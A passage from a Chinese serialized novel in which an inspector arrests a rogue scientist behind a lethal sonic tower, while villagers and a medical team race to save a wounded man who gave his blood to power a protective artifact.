他心中充满了对孙栋的感激,若非他及时关停了声波塔,范司杞此刻恐怕早已流尽了最后一滴血,而汉堡也……他不敢想下去。
就在这时,陈开心一直开着的通讯器里,终于传来了孙栋急切的呼叫声。
“孙栋!孙栋!收到!收到!” 陈开心吼着回应,“声波塔停了,效果立竿见影,动
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物们都安静下来了,汉堡…汉堡有呼吸了,他还活着!但是……”
他看了一眼地上气息奄奄的范司杞,声音沉重下去,“范司杞,他为了启动法器隔绝声波,割开了自己的动脉,失血过多,情况非常危险,老药师正在抢救,我们需要支援!最好的医疗!越快越好!”
动研所主控中心里,孙栋紧握着通讯器,当陈开心嘶哑的声音传出来时,喜悦和更深的担忧同时涌上心头。
“太好了!太好了!” 孙栋对着通讯器连声说道,“坚持住!陈开心,我立刻安排最好的医疗队,以最快速度过去,范司杞……他是英雄!无论如何,一定要撑住!”
他立刻转身,无视脸色阴沉得能滴出水来的卫平亮,对着主控中心内一个看起来比较清醒的技术主管厉声命令:“你立刻联系城市急救中心,启动最高等级医疗应急预案,通知最近的军用机场,准备一架救援直升机。告诉他们,我以联合安全委员会特派监察员身份授权,延误者,军法处置!”
技术主管被孙栋凌厉的气势和那特殊的身份震慑,不敢怠慢,连忙应道:“是!是!孙处长!我马上办!”
他迅速开始操作通讯设备。
孙栋的目光这才重新投向瘫坐在椅子上的卫平亮,后者正用怨毒无比的眼神死死盯着他,嘴角挂着一丝扭曲的冷笑。
“孙栋,你以为你赢了?” 卫平亮的声音如毒蛇吐信,阴冷刺骨,“关掉一个塔而已,宝贵的数据已经到手了。那些样本的极限反应,生命体征崩溃阈值,多么完美的实验记录,而且……”
他推了推金丝眼镜,镜片后的目光闪烁着疯狂地算计,“你以为只有一座声波塔吗?最高权限意味着什么,你很快就会知道。你护不住他们,永远护不住!科学需要真相!需要代价!”
“代价?” 孙栋一步跨到卫平亮面前,居高临下地俯视着他,眼神冷冽,“卫平亮,你的代价,就是监狱!是审判!是为你反人类的罪行付出余生!”
他一挥手,“老赵!阿明!把他给我铐起来!以涉嫌非法进行高危生物实验,滥用大规模杀伤性武器,危害公共安全等多项罪名,正式逮捕!押下去严加看管!没有我的命令,任何人不得探视!”
“是!” 老赵和阿明立刻上前,动作利落地将脸色剧变的卫平亮从椅子上拽起来,“咔嚓”一声,冰冷的手铐锁住了他的手腕。
“孙栋!你敢!你知道我是谁?!你知道我背后是谁?!” 卫平亮挣扎着,歇斯底里地咆哮。
“我管你是谁!” 孙栋的声音斩钉截铁,带着不容置疑的威严,“带走!押入最高等级隔离监室!我要亲自审他!”
看着卫平亮被押走的狼狈背影,听着他充满恨意的咒骂,孙栋心中没有丝毫轻松,卫平亮最后的话像毒刺一样扎在他心里。
只有一座塔?他背后还有谁?动研所的水,比他想象的更深,更浑。
他深吸一口气,强迫自己冷静下来。
现在最重要的是黑石寨!是范司杞的命!是那些刚刚从鬼门关爬回来的伙伴们!
他再次拿起通讯器:“陈开心,医疗支援已经在路上,我处理完这里的首尾,立刻赶过去,卫平亮已经被我控制!黑石寨暂时安全!重复,暂时安全!等我们!”
通讯器那头,传来陈开心疲惫的回应:“收到!可是孙栋,范司杞他……他的血快止不住了……”
孙栋的心再次揪紧。
他看了一眼正在紧张呼叫救援的技术主管,又望向主控中心巨大的屏幕。
猩红的灭绝波段虽然消失,但那些代表化形生物反应点的微弱光点,仍然在屏幕上顽强地闪烁着。
“医疗队联系上了吗?直升机起飞没有?!” 孙栋一连串的质问砸向那个正在满头大汗操作通讯的技术主管。
“联……联系上了!孙处长!” 技术主管的手指在虚拟键盘上飞舞,“急救中心已启动最高预案,创伤外科张教授团队已在集结,最近的军用机场,救援直升机已完成预热,正在装载设备和血浆,预计最快二十五分钟抵达黑石寨空域!”
二十五分钟!
孙栋的心一沉。对于正在大量失血的范司杞来说,每一分钟都是与死神的赛跑。
他立刻抓过通讯器:“陈开心,医疗直升机预计二十五分钟后抵达,让他们准备好开阔的降落场地。老药师有没有什么办法能再撑住这二十五分钟?范司杞现在什么情况?”
54.拯救范司杞
“医疗队联系上了吗?直升机起飞没有?!” 孙栋一连串的质问砸向那个正在满头大汗操作通讯的技术主管。
“联……联系上了!孙处长!” 技术主管的手指在虚拟键盘上飞舞,“急救中心已启动最高预案,创伤外科张教授团队已在集结,最近的军用机场,救援直升机已完成预热,正在装载设备和血浆,预计最快二十五分钟抵达黑石寨空域!”
二十五分钟!
孙栋的心一沉。对于正在大量失血的范司杞来说,每一分钟都是与死神的赛跑。
他立刻抓过通讯器:“陈开心!医疗直升机预计二十五分钟后抵达!坚持住!让他们准备好开阔的降落场地!老药师有没有什么办法能再撑住这二十五分钟?!范司杞现在什么情况?”
黑石寨,吊脚楼内。
时间在这里被无限拉长,油灯的光芒摇曳不定,在墙壁上投下鬼魅般的影子。
空气中弥漫着浓重的血腥味、草药味和一种令人窒息的紧张感。
老药师的额头布满了细密的汗珠,他手指稳定得可怕,细小的骨针穿着浸泡过药液的兽筋线,如同穿花蝴蝶般在范司杞的伤口上飞快穿梭。
每一针落下,都伴随着皮肉被拉扯的细微声响,看得人心惊肉跳。
暗红色的血液从缝合的针脚间隙缓慢渗出,染红了老药师的手指。
范司杞的脸色已经不再是惨白,而是呈现出一种死寂的青灰色,嘴唇干裂发绀,呼吸微弱到难以察觉,胸膛的起伏微乎其微。
“血止不住,药力快压不住了。” 老药师的声音带着绝望的沙哑。
他行医一生,见过无数重伤,但像范司杞这样,不仅伤口深可见骨,更因强行催动秘法而耗尽了本源生机的,实在罕见。
那“续命散”虽能止血生肌,却也难以逆天改命。
“不行!一定要撑住!医疗队马上就到了!孙栋说最快二十五分钟!” 陈开心几乎是吼出来的,既是给老药师打气,也是在给自己快要崩溃的神经注入力量。
他看了一眼被安置在旁边草席上,呼吸虽然微弱但已趋于平稳的汉堡,又看向地上气息奄奄的范司杞,巨大的愧疚感和一种同生共死的悲壮感紧紧攫住了他。
云朵抱着熟睡的石崽,一直守在几步之外。她看着范司杞那毫无生气的脸,看着那不断被鲜血染红的布条和药粉,泪水无声地滑落。
她忽然轻轻放下石崽,快步走到角落,拿起那个还沾染着范司杞鲜血,此刻光芒已经黯淡下去的古老罗盘。
她不知道这法器具体如何运作,但她能感受到上面残留的,属于范司杞的守护意志。
她学着范司杞的样子,将罗盘紧紧贴在胸口,闭上眼,口中无声地祈祷着,仿佛要将自己微弱的生命力也注入其中。
也许是老药师的针法起了最后的效用,也许是“续命散”的药力在生死关头被激发,也许是云朵那无声的祈祷真的引动了某种冥冥之力那不断渗出的鲜血,流速似乎……真的减缓了一丝丝。
“有希望!” 老药师浑浊的眼睛一亮,仿佛抓住了最后一根稻草,“快!把我的参王续命汤拿来!吊住他最后一口元气!”
守在门口的寨民立刻飞奔而去。
就在这时,昏迷中的范司杞身体突然抽搐了一下,他那毫无血色的嘴唇微微翕动,发出几个破碎的音节。
陈开心和老药师立刻屏住呼吸,凑近去听。
“眼……瞎了……好……清净……众生……当渡……”
断断续续,模糊不清,但陈开心听懂了,酸涩涌上眼眶。
都到了这种时候,范司杞心中念着的竟然是那四个字。
“参汤来了!” 寨民端着一个热气腾腾的小陶碗冲了进来,浓郁的参味顿时弥漫开来。
老药师小心翼翼地接过,用特制的竹勺舀起一点,撬开范司杞紧闭的牙关,将那温热的参汤,一点一滴地喂入他口中。
每一滴,都像是在为那即将熄灭的生命之火添上一丝微弱的燃料。
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动研所主控中心。
二十五分钟的倒计时,在孙栋感觉里漫长得如同一个世纪。
他一边通过通讯器不断给陈开心传递信息和打气,一边像最精密的机器,飞速处理着眼前的烂摊子。
“小刘!” 他厉声命令,“立刻带人封锁卫平亮的主控台,冻结他所有操作权限,拷贝所有与本次声波塔启动,灭绝波段相关的操作日志、实验数据、通讯记录。特别是他绕过安全委员会的非法授权证据,加密级别最高,我要原始数据,一点都不能少!”
“是!” 小刘立刻带人行动起来,专业的设备连接上主控台,屏幕上的数据流开始被快速复制。
孙栋的目光扫过环形控制台前那些噤若寒蝉,面色各异的技术人员。他们中,有被卫平亮胁迫的,有被其疯狂理论蛊惑的,也有纯粹追求数据的狂热者。
“所有人!” 孙栋威严的声音在主控中心回荡,“我是城市联合安全委员会特派监察员孙栋,卫平亮涉嫌严重犯罪,已被正式逮捕,从现在起,动研所异类生物研究部所有项目无限期暂停,所有数据封存,所有人员接受隔离审查,没有我的命令,任何人不得离开岗位,不得进行任何操作,不得删除、转移任何数据!违者,以同谋论处!”
一片寂静,没有人敢反抗。孙栋那雷霆手段和特殊的身份,彻底镇住了场面。
他走到一个看起来相对沉稳的中年研究员面前:“你,负责协调,确保所有设备维持最低能耗待机状态,特别是生命维持系统。另外,立刻给我调取所有关于声波塔网络的最高权限资料,包括部署位置、启动密钥、设计蓝图。”
“是……是,孙处长。” 中年研究员擦了擦额头的汗,连忙操作起来。
屏幕上很快调出了复杂的网络拓扑图。
当孙栋看到那分布图时,瞳孔骤然收缩。
卫平亮没有说谎,在城市的几个关键节点,甚至包括一些偏远地区,都标注着类似的声波塔设施,它们如同一个隐形的网络,覆盖着大片区域,而卫平亮启动的只是其中之一。
“该死!” 孙栋低声咒骂。
卫平亮背后的力量,比他想象的还要庞大和危险,关掉一座塔只是开始,如果不能彻底摧毁这个网络和掌握其权限,黑石寨,以及所有化形生物,永远无法获得真正的安全!
就在这时,通讯器里传来陈开心激动地声音:“孙栋,参汤好像有点用,血渗得慢了!老药师说还有一线希望,但是救援队……救援队还有多久?!”
孙栋立刻看向技术主管。
“报告孙处,直升机已起飞,正在全速赶往黑石寨,预计八分钟后抵达!” 技术主管的声音也带着一丝振奋。
八分钟!最后的八分钟!
“陈开心!听到了吗?八分钟!坚持住!一定要让范司杞坚持住!” 孙栋对着通讯器吼道,仿佛自己的声音也能传递力量,“我这边有重大发现,声波塔不止一座!卫平亮背后有更大的阴谋,但先救人,等范司杞脱离危险,我们立刻着手解决后续!”
吊脚楼内,陈开心听到“八分钟”和“不止一座塔”的消息,心脏快要停止跳动,但此刻他无暇多想。
他紧紧盯着老药师手中的参汤,看着范司杞那微弱到极致的生命体征,心中只有一个疯狂的念头:撑下去,范司杞,你一定要撑下去,你还没亲眼看到你守护的“众生”平安,你的路,不该断在这里。
油灯的火苗跳跃着,映照着那块被范司杞鲜血浸透的乌沉木牌。
“众生当渡”四个字,在血与光的交织下,仿佛拥有了生命。远方,隐隐传来了直升机螺旋桨撕裂夜空的轰鸣声……
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黑石寨的上空,螺旋桨撕裂空气的轰鸣声由远及近,气流卷起漫天尘土和草屑,吹得吊脚楼的茅草屋顶簌簌作响。
“来了!医疗队来了!” 寨民们激动地呼喊起来,如同看到了救世主降临。
舱门尚未完全打开,几名穿着橘红色救援服、提着沉重银色急救箱的医护人员已经率先跳了下来,紧随其后的是几位神情肃穆的医生。
领头的正是急救中心赫赫有名的创伤外科张教授。
“伤员在哪里?情况怎么样?” 张教授沉稳有力的呼喊穿透了螺旋桨的噪音。
“这边!快!快!” 陈开心嘶哑地喊着,脸上混合着血污、汗水和泪水,他几乎是半拖半抱着已经虚脱的老药师,指向吊脚楼内。
张教授没有丝毫犹豫,带着团队如同离弦之箭冲入吊脚楼。
油灯昏暗的光线下,范司杞躺在地上,身下垫着干净的兽皮,脸色青灰如纸,呼吸微弱,左
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臂上那恐怖的伤口虽然被老药师用尽毕生所学缝合,但依旧有暗红色的血液缓慢地渗出,染红了包扎的布条。
“大量失血,深度休克,生命体征濒临消失。” 张教授只看了一眼,便迅速做出判断,“立刻建立双通道静脉通路,加压输注O型万能血,心电监护,准备强心针和升压药,通知机上准备紧急手术,必须立刻稳定生命体征,否则撑不到医院!”
训练有素的医疗团队瞬间行动起来,尖锐的针头刺入范司杞的静脉。
陈开心的心都提到了嗓子眼,屏住呼吸看着这生死时速般的抢救。
“继续加压输血,保持速度,准备转移!” 张教授一边指挥,一边快速检查范司杞的瞳孔,“瞳孔散大,对光反射极微弱,脑部缺氧严重,快!担架!”
专业的折叠担架迅速展开,医护人员小心地将范司杞移上去,固定好,血浆袋被高高举起。
“陈先生,我们需要一位熟悉情况的家属或朋友随行。” 张教授看向陈开心。
“我去!” 陈开心毫不犹豫。
他看了一眼呼吸平稳的汉堡,以及一旁眼神担忧的云朵,“云朵,这里就交给你和老药师了。”
“放心,陈大哥,我们会守好寨子。” 云朵用力点头。
陈开心不再多言,紧跟着抬着担架的医疗队冲出吊脚楼。
直升机巨大的旋翼卷起的狂风快将他吹倒,他猫着腰,顶着强风,在医护人员的帮助下迅速登机。
舱门关闭,引擎发出更强劲的轰鸣,直升机拔地而起,如同钢铁巨鸟,载着最后一线希望,朝着灯火通明的城市方向疾驰而去。
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那头,孙栋走到被临时关押在角落隔离室,双手被铐在特制椅子上的卫平亮面前,透过强化玻璃,他看到卫平亮虽然狼狈,但脸上依旧带着疯狂的冷笑。
“孙大监察员,效率挺高嘛?” 卫平亮率先开口,语气充满嘲讽,“怎么样?那个瞎了一只眼的范司杞,还活着吗?啧啧,用自己血启动法器?真是感人至深啊!可惜,匹夫之勇,螳臂当车!”
孙栋强压下给他一拳的冲动,冷冷地盯着他:“卫平亮,你的表演结束了。告诉我,谁给你的最高权限?声波塔网络的真正目的是什么?北山那座塔,针对的是什么?”
卫平亮夸张地笑了起来:“最高权限?当然是为了伟大的科学事业,为了人类的绝对安全,至于目的?不是明摆着吗?清除不稳定因素!净化我们的生存空间!北山?呵,那里有些东西,可比黑石寨那些温顺的小猫小狗危险多了,留着迟早是祸害。”
“少在这里打哑谜!” 孙栋猛地一拍隔离玻璃,发出沉闷的巨响,“你口中的东西,是指那些拥有智慧的化形生物?还是指……别的什么?比如,某些你们无法控制,或者不愿意公开的……实验成果?”
卫平亮的笑容微微一僵,镜片后的眼神闪烁了一下,随即又恢复了那种令人厌恶的傲慢:“孙处长,想象力很丰富嘛,不过你没有任何证据,我所做的一切,都是为了科学和人类的未来。就算程序上有点瑕疵,那也是必要的代价!你抓了我,动不了真正的根基,很快就会有人让你明白,什么叫不自量力!”
“根基?” 孙栋捕捉到他话里的关键,眼神锐利如刀,“你是说,盘古?”
这两个字如同投入平静湖面的巨石,顿时在卫平亮脸上激起了剧烈的反应。
他脸上的傲慢和冷笑瞬间凝固,取而代之的是一闪而过的惊愕和一丝不易察觉的恐惧,虽然只有一瞬,但孙栋看得清清楚楚。
“盘古,你怎么会知道这个名字?!” 卫平亮的神情第一次失去了从容。
“若要人不知,除非己莫为。” 孙栋没有直接回答,而是紧紧逼视着卫平亮,声音低沉而充满压迫感,“盘古是谁?是组织?还是某个代号?他就是你在动研所胡作非为的靠山?是启动声波塔网络的幕后黑手?”
卫平亮脸上的肌肉抽搐着,眼神变得极其复杂。
他紧紧闭上了嘴,扭过头去,不再看孙栋,但微微颤抖的身体和急促的呼吸,暴露了他内心的波动。
“不说?” 孙栋冷笑一声,“没关系,你的终端、你的加密通讯器、你主控台里的数据……它们会开口的。无论盘古是什么,我都会把他揪出来!而你,卫平亮,你将是第一个祭品!”